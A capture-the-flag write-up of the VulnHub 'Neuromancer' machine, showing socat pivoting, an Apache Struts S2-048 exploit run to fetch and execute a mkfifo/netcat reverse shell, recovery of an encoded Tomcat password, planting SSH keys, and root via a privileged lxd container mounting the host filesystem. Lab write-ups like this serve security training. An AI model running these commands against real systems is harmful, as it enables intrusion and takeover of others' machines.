Wintermute Part 2 Neuromancer (Vulnhub Writeup)

Wintermute Part 2 Neuromancer (Vulnhub Writeup)

This VulnHub writeup is based on Neuromancer - part two of the excellent ‘Wintermute 1’ challenge, created by creosote

I’ll spare you all the detail, but as a quick recap, after having rooted Straylight we find that it is dual-homed - i.e. it is part of a second sub-net. We pick up the action from the ‘note.txt’ file found after having gained root privs on that box.

TLDR/Spoiler Alert: The privesc route for this machine is not the obvious one chosen by other people who have taken the time to put together so many great writeups. In fact, at the time of writing, I haven’t seen it mentioned anywhere.

If you have already rooted this box a different way and want to see my privesc method, click here. If you are just a bit curious but want to figure it out later, here’s a (biggish) clue …

Wintermute Neuromancer - PrivEsc Teaser

Overview

The contents of note.txt:

root@straylight:~# cat note.txt
cat note.txt
Devs,

Lady 3Jane has asked us to create a custom java app on Neuromancer's primary server to help her 
interact w/ the AI via a web-based GUI.

The engineering team couldn't strss enough how risky that is, opening up a Super AI to remote access 
on the Freeside network. It is within out internal admin network, but still, it should be off the 
network completely. For the sake of humanity, user access should only be allowed via the physical 
console...who knows what this thing can do.

Anyways, we've deployed the war file on tomcat as ordered - located here:

/struts2_2.3.15.1-showcase

It's ready for the devs to customize to her liking...I'm stating the obvious, but make sure to secure 
this thing.

Regards,

Bob Laugh

Two things stand out … the reference to ‘struts’ and ‘Lady 3Jane’ …. Looks like some form of user name. The struts reference is like waving a red flag to a bull … it is referring to Apache Struts which has had quite a history of vulnerabilities.

Recon

Step 0: First things first

I need to address my immediate curiosity about struts. A quick search via searchsploit reveals a match - 42324. While this looks to be a good candidate, before we can pursue it any further, we need to find how to get there … i.e. what ports are open to us and which one is running the given Struts app.

Step 1: Addressing Pivoting Problems

After discovering that you are on a dual-homed machine, the most obvious thing is to either run sshuttle, or do things the hard way with a manual ssh reverse port forward and then use proxychains to run nmap etc. But there is a fly in the ointment here:

netstat -antp | grep LISTEN
tcp        0      0 0.0.0.0:3000            0.0.0.0:*               LISTEN      790/ntopng          
tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN      771/master          
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      591/mysqld          
tcp        0      0 127.0.0.1:6379          0.0.0.0:*               LISTEN      495/redis-server 12 
tcp6       0      0 :::80                   :::*                    LISTEN      633/apache2         
tcp6       0      0 :::25                   :::*                    LISTEN      771/master

Yup …. SSH isn’t running. So … ‘start the service jckhmr’, you might ask. Well … I would have if it had been installed. Technically I could do it, but (a) that’s more bother than it’s worth and (b) Creosote is trying to push us out of our comfort boundaries somewhat.

Step 2: Finding Neuromancer - Bash to the rescue

The IP address of Straylight within the ‘inner’ sub-net is 192.168.212.3. It’s likely that Neuromancer can be found on 192.168.212.4, but we need to qualify. Since nmap is not installed either on the machine, we can use a bash script to do a simple ping sweep on 192.168.212.0/24 (i.e. just a max of 255 hosts).

cat pingSweep.sh
#!/bin/bash

for ip in $(seq 1 254); do
   ping -c 1 192.168.212.$ip | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 &
done

When executed, we get the following output:

root@straylight:/home/tmp# ./pingSweep.sh 
./pingSweep.sh
192.168.212.3
192.168.212.4

So … I was right, it was .4, but it is always better to be sure.

Write things down! Since we are going to be doing some pivoting to attack the ‘hidden’ subment, it will stand us in good steed to draw a rudimentary network topology diagram before we go any further. I wasted a couple of hours, only to realize that because I didn’t do this precise task, I was quoting the wrong IP addresses in my port forwarding. So … it is always good to sketch things out to avoid a lot of pain.

Wintermute Network Topology

Step 3: What services is Neuromancer running?

Again Bash will help us out. This time we will also use netcat too - if it is there (which nc), you might as well use it. My only reservation about this type of method is that it could be quite noisy if you are in a Red Team situation - you’ll probably trigger an alarm on a Blue Team’s dashboard. In those scenarios, you want something where you can really throttle down the frequency of your probing operations. Since this is not a Red Team scenario, we are good to go.

root@straylight:/tmp# for i in $(seq 1 65535); do nc -nvz -w 1 192.168.212.4 $i 2>&1; done | grep -v "refused"
2.4 $i 2>&1; done | grep -v "refused"w 1 192.168.212

(UNKNOWN) [192.168.212.4] 8009 (?) open
(UNKNOWN) [192.168.212.4] 8080 (http-alt) open
(UNKNOWN) [192.168.212.4] 34483 (?) open

So … three ports open then. We don’t know for sure what service is running what TCP port number. Now we do need to do some scanning.

Step 4: Port Forwarding with Socat

Socat is short for ‘socket cat’. Think of it as netcat with a large turbo for extra power. We’ll be using it a lot more in this writeup. For now though we want to ensure that we can forward the given port numbers on our first victim (Straylight) to our second victim (Neuromancer). What this means then is that when you make a request to Straylight for TCP 8080, it will automatically be forwarded to the same port on the second victim (Neuromancer).

Why is the above possible? Straylight is straddling two separate sub-nets. While our attacking box can’t talk directly to Neuromancer, Straylight can. Think of Straylight as being the friendly receptionist in an office - while you may not be able to talk directly to a given person in the company, you can phone the receptionist to put you through to your friend on extension xyz. A simplified analogy that is ok for now.

Beyond port forwarding, socat can do so many other things, including upgrading limited shells to full TTY versions. I posted a tweet about the subject here - it links to a great article written by @ropnop

Anyhow … let’s get our forwarding setup. The general syntax is as follows:

socat TCP-LISTEN:<<Straylight_TCP_PORT>>,fork,reuseaddr TCP:<<Neuromancer_IP_address>>:<<Neuromancer_TCP_PORT>> &

The command sequence looks like the following

root@straylight:/tmp# socat TCP-LISTEN:8009,fork,reuseaddr TCP:192.168.212.4:8009 &
2.4:8009 &LISTEN:8009,fork,reuseaddr TCP:192.168.212
[1] 10406
root@straylight:/tmp# socat TCP-LISTEN:8080,fork,reuseaddr TCP:192.168.212.4:8080 &
2.4:8080 &LISTEN:8080,fork,reuseaddr TCP:192.168.212
[2] 10416
root@straylight:/tmp# socat TCP-LISTEN:34483,fork,reuseaddr TCP:192.168.212.4:34483 &
12.4:34483 &STEN:34483,fork,reuseaddr TCP:192.168.21
[3] 10428

The ampersand (&) is just standard .nix syntax to run the command and put it to the background, so that you can get on with other stuff. When executed, each command instance will return a process id.

So … now if we try to contact Straylight (via the ‘public’ subnet: 192.168.47.4 / 24) on any of the 3 ports, the comms will be forwarded straight through to the same ports running on Neuromancer (via the ‘admin’ subnet: 192.169.212.4 / 24). Let’s try that out with an nmap scan then.

Step 5: Fire up nmap

root@009-klvfi200:~/vulnhub/wintermute/straylight/exploit# nmap -T4 -Pn -n -sT -A -p 8009,8080,34483 192.168.47.4
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-10 17:58 GMT
Nmap scan report for 192.168.47.4
Host is up (0.00079s latency).

PORT      STATE SERVICE VERSION
8009/tcp  open  ajp13   Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
8080/tcp  open  http    Apache Tomcat 9.0.0.M26
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.0.M26
34483/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 2e:9b:4a:a9:c0:fc:0b:d8:ef:f1:e3:9d:f4:59:25:32 (RSA)
|   256 f6:2a:de:07:36:36:00:e9:b5:5d:2f:aa:03:79:91:d1 (ECDSA)
|_  256 38:3c:a8:ed:91:ea:ce:1d:0d:0f:ab:51:ac:97:c8:fb (ED25519)
MAC Address: 08:00:27:50:96:D9 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.79 ms 192.168.47.4

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.56 seconds

A few explanations on the nmap command switches:

  • T4 … faster than a normal T3 (default) scan, but less risk of errors/false positives in comparison to a faster T5
  • -Pn … avoid ping scan first, we already know it is alive
  • -n … no DNS resolution as we are dealing with IP addresses
  • -sT … a full connect scan which is useful when you have the aggressive (-A) option specified.
  • The IP address. We specified the IP address of Straylight … not our second victim (Neuromancer). Since we have setup port forwarding from Straylight to Neuromancer, when we hit the former, the port scan automatically goes to the same port on Neuromancer. Neuromancer responds to Straylight, which in turn sends the results back to our attacking box.

Step 6: Analysis of the nmap scan

Apache Jserv running on TCP 8009 - not an immediate priority right now. We’ll come back to that if we don’t have any luck with 8080 which is running Tomcat, and by extension, is most likely to be running our struts app.

For good measure, we can see that SSH is running on a non-standard port - a delaying tactic to make the job of an attacker a bit more cumbersome.

At this point, the primary goal is to go after the struts app, now that I know the IP address and the port number. If that leads to a dead end, then we can come back to the SSH and Jserv stuff later.

Step 7: Can we see the struts app?

This is an easy one … just fire up a browser. Given that we are dealing with port forwarding, we’ll be specifying the IP address of Straylight.

http://192.168.47.4:8080/struts2_2.3.15.1-showcase/showcase.jsp

And it works:

Wintermute Neuromancer - Recon - Struts Showcase

Struts Exploitation

Step 0: Taking a look at the Struts exploit

If you scroll to the bottom of the exploit code you’ll see the following:

# $ ncat -v -l -p 4444 &

# $ python exploit_S2-048.py http://127.0.0.1:8080/2.3.15.1-showcase/integration/saveGangster.action "ncat -e /bin/bash 127.0.0.1 4444"

So … it involves setting up a listener on our attacking box - standard enough. It also requires a fully qualified URL. More importantly it requires a command for the exploit to execute - in the example above, it is a reverse shell payload, albeit to the same computer.

Step 1: Another Socat port forward

We want a reverse shell being returned from the Neuromancer box (192.168.212.4) to our Kali box (192.168.47.3) with Straylight (192.168.47.4 and 192.168.212.3) being the ‘receptionist in the middle’ to perform the port forwarding duties, because the attacking box and Neuromancer can’t talk directly to each other. Hence socat being brought into service again.

socat TCP-LISTEN:6666,fork,reuseaddr TCP:192.168.47.3:6666 &

In the above, we basically said that if Straylight is contacted on TCP port 6666 (by Neuromancer in our case), then forward that traffic to TCP port 6666 on our attacking Kali box (192.168.168.47.3).

We can see that Straylight (192.168.212.3 and 192.168.212.3) is listening for traffic on TCP Port 6666.

root@straylight:/tmp# socat TCP-LISTEN:6666,fork,reuseaddr TCP:192.168.47.3:6666 &
.3:6666 &-LISTEN:6666,fork,reuseaddr TCP:192.168.47.
[4] 12928
root@straylight:/tmp# 

root@straylight:/tmp# netstat -antp | grep LISTEN
netstat -antp | grep LISTEN
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      10416/socat         
tcp        0      0 0.0.0.0:34483           0.0.0.0:*               LISTEN      10428/socat         
tcp        0      0 0.0.0.0:3000            0.0.0.0:*               LISTEN      790/ntopng          
tcp        0      0 0.0.0.0:25              0.0.0.0:*               LISTEN      771/master          
tcp        0      0 0.0.0.0:8009            0.0.0.0:*               LISTEN      10406/socat         
tcp        0      0 0.0.0.0:6666            0.0.0.0:*               LISTEN      12928/socat         
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      591/mysqld          
tcp        0      0 127.0.0.1:6379          0.0.0.0:*               LISTEN      495/redis-server 12 
tcp6       0      0 :::80                   :::*                    LISTEN      633/apache2         
tcp6       0      0 :::25                   :::*                    LISTEN      771/master          
root@straylight:/tmp# 

Step 2: Setting up the listener on TCP 6666 on the Kali Box

Just the usual: nc -nlvp 6666 (make sure the port number corresponds to the socat port forwarding setup).

Step 3: Firing up our exploit

We execute the exploit and nothing seems to have happened:

Neuromancer - Web Exploitation - Struts exploit fails

But … thinking logically, since we are dealing with Java, it may have a problem with pipes and redirection. So … just to ensure that the exploit is working, we’ll work on a simple listener instead of a full reverse shell at this point. This time our exploit looks like:

python 42324.py http://192.168.47.4:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "nc -nv 192.168.212.3 6666"

And when that is executed we get a response:

listening on [any] 6666 ...
connect to [192.168.47.3] from (UNKNOWN) [192.168.47.4] 56234

So … that’s (a bit) better - at least by taking a step back and seeing that a basic listener works, we know that the actual exploit is working too. It may seem a little excessive, but it would be too easy to otherwise conclude that the exploit isn’t working, only to waste countless hours going down other rabit holes.

Another valid reason for the ‘nc reverse shell’ not working is that perhaps the version of netcat installed on Neuromancer doesn’t support the -e option.

Step 4: Develop an alternative reverse shell

Let’s play safe and use a different reverse shell, courtesy of pentestmonkey:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.212.3 6666 >/tmp/f

As a short digression, it appears very recently that pentestmonkey.net doesn’t seem to be available … you can still find lots of useful stuff on github. The ‘wayback machine’ is also very handy too via this link.

The above is put into a file called ‘revbash.sh’. Notice that the reverse shell will be sent to the IP address corresponding to Straylight machine. Remember that we have already implemented a port forward from TCP 6666 on Straylight to our attacking box on the same port - both machines are on the 192.168.47.0/24 subnet.

Step 5: Upload the reverse shell.

This one is going to take a bit work. Nothing complicated, but things have to be done in a specific order.

First of all … I’m going to setup ANOTHER port forward from Straylight back to the attacking box to facilitate a wget operation - I want to keep TCP 6666 free for the reverse shell.

root@straylight:/tmp# socat TCP-LISTEN:1234,fork,reuseaddr TCP:192.168.47.3:1234 &
.3:1234 &-LISTEN:1234,fork,reuseaddr TCP:192.168.47.
[5] 23648
root@straylight:/tmp# netstat -antp | grep 1234     
netstat -antp | grep 1234
tcp        0      0 0.0.0.0:1234            0.0.0.0:*               LISTEN      23648/socat         
root@straylight:/tmp#

That appears to have worked as expected - confirmed via the netstat operation

A python web server is started in the folder where ‘revbash.sh’ is stored:

root@009-klvfi200:~# python -m SimpleHTTPServer 1234
Serving HTTP on 0.0.0.0 port 1234 ...

Now we can run our struts attack as follows:

python 42324.py http://192.168.47.4:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "wget http://192.168.212.3:1234/revbash.sh -O /tmp/revbash.sh"

As you can see we are picking up revbash.sh from what ‘appears’ to be Straylight, but due to the magic of port forwarding, it is actually resulting in a request being served by our attacking box.

Neuromancer - Web Exploitation - File Upload

We also need to make it executable, so we run the attack again, but this time with ‘chmod +x /tmp/revbash.sh’ in the payload:

root@009-klvfi200:~/vulnhub/wintermute/neuromancer/exploit# python 42324.py http://192.168.47.4:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "chmod +x /tmp/revbash.sh"
[*] exploit Apache Struts2 S2-048
[+] command: chmod +x /tmp/revbash.sh
root@009-klvfi200:~/vulnhub/wintermute/neuromancer/exploit#

We are running blind at this point … we don’t REALLY know that it worked … but let’s give things a go.

Step 6: Execute the modified Struts attack to gain a reverse shell

Our modified attack string looks like:

python 42324.py http://192.168.47.4:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action "sh /tmp/revbash.sh"

After setting up a listener and executing the exploit, we get a shell!:

root@009-klvfi200:~# nc -nlvp 6666
listening on [any] 6666 ...
connect to [192.168.47.3] from (UNKNOWN) [192.168.47.4] 60454
/bin/sh: 0: can't access tty; job control turned off
$ 

PrivEsc Part 1

Step 0: What do we have?

So … we are in a non-tty session (as expected):

listening on [any] 6666 ...
connect to [192.168.47.3] from (UNKNOWN) [192.168.47.4] 60454
/bin/sh: 0: can't access tty; job control turned off
$ whoami
ta
$ id
uid=1000(ta) gid=1000(ta) groups=1000(ta),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)

We can see that ‘ta’ appears to be an admin, but it will be useless without a TTY session:

ta@neuromancer:/$ groups
groups
ta adm cdrom dip plugdev lxd lpadmin sambashare

Permission denied to /etc/sudoers:

$ cat /etc/sudoers
cat: /etc/sudoers: Permission denied

Since we aren’t in a TTY terminal, we can’t see the output of sudo -l:

$ sudo -l
sudo: no tty present and no askpass program specified

Let’s see if python is installed so that we can do the ‘pty’ trick as kindly made available from NETSEC

ta@neuromancer:/$ which python  
which python

Nope …. Not there.

We could install it if we had admin privs …. So not much use to us here:

ta@neuromancer:/$ python
python
The program 'python' can be found in the following packages:
 * python-minimal
 * python3
Ask your administrator to install one of them

Step 1: We need a proper TTY session

Without a proper TTY session we can’t really achieve very much. We have a couple of options

  • Use socat to send a reverse shell back to Kali. Socat is very handy for this. See link earlier in this writeup
  • Can we SSH into the box, with the ta account? We don’t have the password, but perhaps we can generate a set of ssh keys. The ability to ssh in to the box depends on a port being opened (it is … on 34483, and we already have the correct port forwarding in place). Additionally, what is defined in /etc/passwd for that account? It needs to include some sort of shell settings.
  • Look for something else. When examining /etc/passwd to determine what type of shell existed for ‘ta’, there was reference to: lady3jane:x:1001:1001:3Jane,,,:/home/lady3jane:/bin/bash.
    We HAVE seen that mentioned previously in the ‘note.txt’ file found in ‘Straylight’ when we gained root. So … perhaps there may be creds lying around on the box for that box. Come to think of it, we mind find some creds somewhere else on the box for ‘ta’ too. One possible line of enquiry is Tomcat … it specifies users in an xml file, which is used to manage the Tomcat facility.

Let’s try the latter option first.

Step 2: Gaining a TTY - the reused creds option

Tomcat users are defined in tomcat-users.xml, so let’s see where it is:

ta@neuromancer:/$ locate tomcat-users.xml
locate tomcat-users.xml
/usr/local/tomcat/conf/tomcat-users.xml
ta@neuromancer:/$

When the file is subject to a ‘cat’ operation, we find the following:

<!--
Eng.,

Tomcat is still using basic auth. I encoded the password so the AI's security scans don't flag it.

Is this what Bob keeps talking about, "Security by obscurity?"

Ed Occam//Sys.Engineer I//Night City
"Harry, I took care of it" - Llyod Christmas
-->

  <role rolename="manager-gui"/>
  <user username="Lady3Jane" password="&gt;&#33;&#88;&#120;&#51;&#74;&#97;&#110;&#101;&#120;&#88;&#33;&lt;" roles="manager-gui"/>

So it appears the password has been encoded. We take that into Burp and when decoded (HTML), we get:

>!Xx3JanexX!<

So …. Let’s try and ssh with that. Remember that with the port forwarding in place, it APPEARS that we are ssh’ing to the Straylight box, but we aren’t. Regardless …. We have a result!

root@009-klvfi200:~/vulnhub/wintermute/neuromancer/exploit# ssh -p 34483 lady3jane@192.168.47.4
 ----------------------------------------------------------------
|                Neuromancer Secure Remote Access                |
| UNAUTHORIZED ACCESS will be investigated by the Turing Police  |
 ----------------------------------------------------------------
lady3jane@192.168.47.4's password: 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

94 packages can be updated.
44 updates are security updates.


Last login: Sat Feb  9 09:09:23 2019 from 192.168.212.3
lady3jane@neuromancer:~$ 

But unfortunately she is not an admin of any description and doesn’t have any sudo capabilities:

lady3jane@neuromancer:~$ sudo -l
[sudo] password for lady3jane: 
Sorry, user lady3jane may not run sudo on neuromancer.
lady3jane@neuromancer:~$ groups
lady3jane
lady3jane@neuromancer:~$ 

Let’s try the possibilities for the ‘ta’ account’ given that it mentioned some admin capabilities with the ‘group’ command

Step 2: Gaining a TTY - The SSH key route for the ‘ta’ account

The process of generating a set of keys is fairly simple:

  • cd into /home/ta
  • Run ssh-keygen. I followed all the defaults, but opted to have a passphrase applied. The keys were stored in /home/ta/.ssh
  • Add the public key to the /home/ta/.ssh/authorized_keys file
  • Cat out the values for id_rsa and id_rsa.pub and then copy/paste them into corresponding files on my attacking box. I also applied chmod 400 to each of the files, otherwise ssh will complain about permissions and then ignore the keys altogether, which results in an unwanted password prompt (we don’t know the password!)

Once the keys were generated and copies put onto my attacking box, access was gained:

root@009-klvfi200:~/vulnhub/wintermute/neuromancer# ssh -i /root/vulnhub/wintermute/neuromancer/id_rsa -p 34483 ta@192.168.47.4
 ----------------------------------------------------------------
|                Neuromancer Secure Remote Access                |
| UNAUTHORIZED ACCESS will be investigated by the Turing Police  |
 ----------------------------------------------------------------
Enter passphrase for key '/root/vulnhub/wintermute/neuromancer/id_rsa': 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

94 packages can be updated.
44 updates are security updates.


Last login: Sun Feb 10 15:30:09 2019 from 192.168.212.3
ta@neuromancer:~$ 

The ‘groups’ command was run again and then the penny dropped …. ‘ta’ was not a member of the ‘admin’ group, so that wasn’t going to be an instant path to root:

ta@neuromancer:~$ groups
ta adm cdrom dip plugdev lxd lpadmin sambashare
ta@neuromancer:~$ 

Moving forward … there is no real point now in jumping to gaining a TTY with the socat option … that will be kept for another article! Stay tuned for that.

When attempting to gain root, I generally progress as follows:

  • sudo
  • password
  • file permissions (suid/guid)
  • cron jobs (often combined with bad file permissions)
  • kernel exploits
  • running applications
  • the file system.

Generally the further you move down that list, the more difficult privesc becomes. So … having exhausted the first two options, we need to do some good old-fashioned enumeration.

PriveEsc Part 2

Step 0: Transfer a copy of the LinEnum.sh script

Now that you have got SSH access straight into Neuromancer, you can ‘scp’ a copy of any enumeration/privesc type scripts.

 ----------------------------------------------------------------
|                Neuromancer Secure Remote Access                |
| UNAUTHORIZED ACCESS will be investigated by the Turing Police  |
 ----------------------------------------------------------------
Enter passphrase for key '/root/vulnhub/wintermute/neuromancer/id_rsa': 
linenum.sh                                                            100%   43KB   7.5MB/s   00:00    
root@009-klvfi200:~#

Step 1: Run the LinEnum.sh script

We make the script executable and then run it

ta@neuromancer:/tmp$ ./linenum.sh -k pass -k PASS -r linEnumNeuromancer -e /tmp -t

Switch explanation:

  • -k: keywords - done twice so that it matches upper and lower case instances of strings related to passwords (could be just pass or passwd etc)
  • -r the report file name stem
  • -e: the folder to output the report to
  • -t: perform thorough tests

Once the report is run we can pull it back via scp to the attacking Kali box:

root@009-klvfi200:~/vulnhub/wintermute/neuromancer/exploit# scp -P 34483 -i /root/vulnhub/wintermute/neuromancer/id_rsa ta@192.168.47.4:/tmp/linEnumNeuromancer-11-02-19 /root/vulnhub/wintermute/neuromancer/exploit
 ----------------------------------------------------------------
|                Neuromancer Secure Remote Access                |
| UNAUTHORIZED ACCESS will be investigated by the Turing Police  |
 ----------------------------------------------------------------
Enter passphrase for key '/root/vulnhub/wintermute/neuromancer/id_rsa': 
linEnumNeuromancer-11-02-19                                           100%  561KB   8.1MB/s   00:00

Step 2: Analysze the Results

Sudo looks interesting

Sudo version 1.8.16

A quick look on searchsploit provides a match. (25134.c)

root@009-klvfi200:~/vulnhub/wintermute/neuromancer/exploit# searchsploit sudo 1.8
--------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                 |  Path
                                                               | (/usr/share/exploitdb/)
--------------------------------------------------------------- ----------------------------------------
Sudo 1.8.14 (RHEL 5/6/7 / Ubuntu) - 'Sudoedit' Unauthorized Pr | exploits/linux/local/37710.txt
Sudo 1.8.20 - 'get_process_ttyname()' Local Privilege Escalati | exploits/linux/local/42183.c
sudo 1.8.0 < 1.8.3p1 - 'sudo_debug' glibc FORTIFY_SOURCE Bypas | exploits/linux/local/25134.c
sudo 1.8.0 < 1.8.3p1 - Format String                           | exploits/linux/dos/18436.txt
--------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
root@009-klvfi200:~/vulnhub/wintermute/neuromancer/exploit# 

Unfortunately we can’t do anything with the given exploit as it relies upon gcc being installed. The compilation must happen on the target too. I might have to come back to that one.

Although we didn’t need LinEnum specifically, an easy route to route can be determined just by looking at the Kernel information:

[-] Kernel information:
Linux neuromancer 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

root@009-klvfi200:~/vulnhub/wintermute/neuromancer/exploit# searchsploit Ubuntu 4.4.0
------------------------------------------------------------- ----------------------------------------
 Exploit Title                                               |  Path
                                                             | (/usr/share/exploitdb/)
------------------------------------------------------------- ----------------------------------------
Linux Kernel 4.4.0 (Ubuntu 14.04/16.04 x86-64) - 'AF_PACKET' | exploits/linux_x86-64/local/40871.c
Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free (PoC)         | exploits/linux/dos/41457.c
Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free Privilege Esc | exploits/linux/local/41458.c
Linux Kernel 4.4.0-21 (Ubuntu 16.04 x64) - Netfilter target_ | exploits/linux_x86-64/local/40049.c
Linux Kernel < 4.4.0-116 (Ubuntu 16.04.4) - Local Privilege  | exploits/linux/local/44298.c
Linux Kernel < 4.4.0-21 (Ubuntu 16.04 x64) - 'netfilter targ | exploits/linux/local/44300.c
Linux Kernel < 4.4.0-83 / < 4.8.0-58 (Ubuntu 14.04/16.04) -  | exploits/linux/local/43418.c
------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result

Based on some reading around, 44298.c appears to be a good candidate. But … there’s always a ‘but’! :-)

Step 3: Choosing exploit paths to pursue

There are a number of excellent writeups available for this machine and without exception, they all pursue the kernel exploit option, because quite rightly, it is the most obvious choice. If I was in need to root a box quickly in an examine scenario, of course I’d go for the most obvious route.

Apart from the fact that the exploit has to be compiled on the attacking box (Neuromancer doesn’t have gcc installed), it is a pretty quick and easy option. But leaving aside anything CTF/OSCP related …. what about the ‘real world’ where we could be dealing with mission critical production systems. Kernel exploits could take a production box out of service, and we simply wouldn’t want to jeopardize our next paycheck!

But there is another way to root this box, and I can’t help feeling that perhaps ‘creosote’ (the machine author) possibly intended it to be another option waiting to be found. While it might attract the attention of a Blue Team, it is not likely to cause a kernel panic. So what am I talking about then? The clue can be found in the following simple command to examine the groups that ‘ta’ belongs to:

ta@neuromancer:~$ groups
ta adm cdrom dip plugdev lxd lpadmin sambashare
ta@neuromancer:~$

Sitting quietly in plain sight is a reference to lxd, which is Ubunutu’s container technology - an alternative to Docker. I did some research and found an excellent article by ‘Booj’ called ‘Privilege Escalation vix lxd’. This sounded exactly up my street. According to the article, if lxd is installed and a given user is a member of the lxd group, they have the same powers as if they were added to /etc/sudoers with the following:

admin ALL=NOPASSWD: ALL

So … it is full steam ahead with this option.

Step 4: Preparing and using the container - an overivew

I’m not going into all the nuts and bolts of EVERY tiny detail associated with creating an Ubuntu LXC based container. That will come in a separate article, as it is a fascinating subject that merits a deep dive beyond the scope of this walkthough.

In a nutshell, the work involves the following:

  • Setting up a VM which is as near to Neuromancer as possible, based on the information gained. So, that would be Ubuntu 16.04 then.
  • Installing lxd on the newly created VM.
  • Creating a container - again, based on Ubuntu 16.04. I’m just keeping things simple with my best guess of what should work.
  • Exporting that container as a tarball and transferring it to my attacking box, before transferring it to the Neuromancer box. Transfers can be done over scp, thanks to the SOCAT port forwarding implemented earlier.

For clarity ... at NO point did I cheat by allowing my attacking box to be on the same physical subnet as Neuromancer. It all had to be done the 'hard' way. How else was I supposed to learn?

  • Importing the lxd container image tarball and enabling it to mount the host file system (yes, Neuromancer!)
  • Getting a root bash session on the newly created container and creating a set of SSH keys that will be written to /root/.ssh on Neuromancer (via /mnt/root/root/.ssh in the container), along with adding the public key to /root/.ssh/authorized_keys on the Neuromancer host (via /mnt/root/root/.ssh in the container)
  • Transferring a copy of the SSH keys to my attacking Kali box and then logging in as root (hopefully).

The above is ambitious, but it is worth it, especially if the only alternative is a risky kernel exploit. In the interests of brevity, we’ll focus at the point where we have just transferred the container tarball onto the Neuromancer host. Get strapped in and enjoy the ride! :-)

Step 5 - Import the Container Image.

The first thing to note is the naming convention used by lxc to automatically name a tarball:

ta@neuromancer:~$ ls
74a96af4de4afbf6ecbfa91bf4e8eb9a74190af72a0a6828081df2c78e8d07c9.tar.gz  myWebApp
ai-gui-guide.txt                                                         velocity.log
ta@neuromancer:~$ 

To import the container image, use the following:

lxc image import 74a96af4de4afbf6ecbfa91bf4e8eb9a74190af72a0a6828081df2c78e8d07c9.tar.gz --alias haxor

The ‘alias’ is a handy way of referring to a container image instead of the long winded filename (which is actually a ‘fingerprint’ according to lxc):

ta@neuromancer:~$ lxc image list
+-------+--------------+--------+------------------------------------+--------+----------+------------------------------+
| ALIAS | FINGERPRINT  | PUBLIC |            DESCRIPTION             |  ARCH  |   SIZE   |         UPLOAD DATE          |
+-------+--------------+--------+------------------------------------+--------+----------+------------------------------+
| haxor | 74a96af4de4a | no     | Ubuntu 16.04 LTS server (20190212) | x86_64 | 196.49MB | Feb 13, 2019 at 9:28pm (UTC) |
+-------+--------------+--------+------------------------------------+--------+----------+------------------------------+
ta@neuromancer:~$ 

Next, you have to create an actual container, based on the imported container image:

ta@neuromancer:~$ lxc init haxor -c security.privileged=true
Creating the container
Container name is: renewing-ghost
ta@neuromancer:~$ lxc list
+----------------+---------+------+------+------------+-----------+
|      NAME      |  STATE  | IPV4 | IPV6 |    TYPE    | SNAPSHOTS |
+----------------+---------+------+------+------------+-----------+
| popular-zebra  | RUNNING |      |      | PERSISTENT | 0         |
+----------------+---------+------+------+------------+-----------+
| renewing-ghost | STOPPED |      |      | PERSISTENT | 0         |
+----------------+---------+------+------+------------+-----------+
ta@neuromancer:~$ 

Note that the container name is automatically assigned. I didn’t specify that. Nice touch of humor though from the Ubuntu lxc dev crew. Although Booj’s article has all the detail you need, the -c switch options effectively gives you the requisite Yoda powers over the entire host file system.

Next, you need to specify the disk mounting options for the new container (‘renewing-ghost’):

ta@neuromancer:~$ lxc config device add renewing-ghost whatever disk source=/ path=/mnt/root recursive=true
Device whatever added to renewing-ghost
ta@neuromancer:~$

As you can see, we are mounting the root of the host filesystem (Neuromancer) and giving the mount a name (‘whatever’).

Now we can start the container and then enter a bash session with the following commands:

ta@neuromancer:~$ lxc exec renewing-ghost bash
root@renewing-ghost:~#

Step 6 - Prove that we root access to the Neuromancer file system

We cd into /mnt/root on the container:

ta@neuromancer:~$ lxc exec renewing-ghost bash
root@renewing-ghost:~# cd /mnt/root
root@renewing-ghost:/mnt/root# ls
bin   dev  home        lib    lost+found  mnt  proc  run   snap  sys  usr  vmlinuz
boot  etc  initrd.img  lib64  media       opt  root  sbin  srv   tmp  var
root@renewing-ghost:/mnt/root# 

You are really looking at the root of the host machine (Neuromancer) file system. We can now easily cd into ‘root’ and we see the important ‘flag.txt’ file.

root@renewing-ghost:/mnt/root# cd root
